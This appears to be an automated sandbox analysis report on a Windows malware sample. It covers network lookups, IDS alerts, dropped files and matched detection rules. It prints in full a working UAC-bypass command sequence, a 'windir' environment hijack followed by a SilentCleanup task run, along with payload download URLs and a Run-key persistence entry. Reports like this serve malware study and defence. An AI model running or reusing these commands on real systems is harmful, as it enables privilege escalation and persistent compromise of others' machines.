Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6402 | July 30, 2021, 11:47 a.m. | July 30, 2021, 11:50 a.m. |
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reg.exe reg delete hkcu\Environment /v windir /f
2624 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
2668 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
2712
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reg.exe reg delete hkcu\Environment /v windir /f
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Name | Response | Post-Analysis Lookup |
---|---|---|
zya3ig.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
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13.107.42.12 |
onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.102:49163 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.102:49165 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.102:49164 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.102:49166 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.102:49163 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | CN=onedrive.com | 24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de |
TLSv1 192.168.56.102:49165 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | CN=onedrive.com | 24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de |
TLSv1 192.168.56.102:49164 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
TLSv1 192.168.56.102:49166 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
section | CODE |
section | DATA |
section | BSS |
request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21106&authkey=ABWUN04e3lg3neg |
request | GET https://zya3ig.sn.files.1drv.com/y4mJJ5fYOJj8MPGeOKGqQ1KM13fmel2Ir5INpKatMQNhtn-MFo22uJXG-NxHGQW_rIE_QimVyEKqc1UAQnleBjY5UihcDrpL6Eb2Ifa9I_Ol5syVmMwJVuBJjBf1MYv7UrCewNZWHZNelLV4zk5t7MMv7dryPakEqTM3AMwvnh0KRMGP3mPCri2oJ3PakOXO5685tSRfDtd09gIy5zXW-F5cA/Boplulwvphysvkdwcittsyporhfrcui?download&psid=1 |
request | GET https://zya3ig.sn.files.1drv.com/y4md6gQPdIz35OSr1CP2N4-V0otIFa4eVa0izCLdmOuJBlLjvqOKL1As6rYQnYlPRdOKogUyQE7YlWy1lWOD4q-yUycJQpPxTSjhLp1ipDwl2VxJzzfz4_HgHLeaZnxv5_IXieI4bUFSOayiOt7gTLafGswW8XOo0GN6ewIHl1Xv5d3ZoJJCQW6vuIZ2DO7Z-CXZhd8Pay1cNIMOtYXsZ6jSw/Boplulwvphysvkdwcittsyporhfrcui?download&psid=1 |
file | C:\Users\Public\KDECO.bat |
file | C:\Users\Public\UKO.bat |
file | C:\Users\Public\Libraries\Boplulw\Boplulw.exe |
file | C:\Users\Public\Trast.bat |
file | C:\Users\Public\nest.bat |
cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | (no description) | rule | Check_Dlls | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Affect hook table | rule | win_hook | ||||||
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread |
cmdline | reg delete hkcu\Environment /v windir /f |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
buffer | Buffer with sha1: 06d100b6739d81d24681303d479d1c3f0c3141e6 |
reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Boplulw | reg_value | C:\Users\Public\Libraries\wlulpoB.url |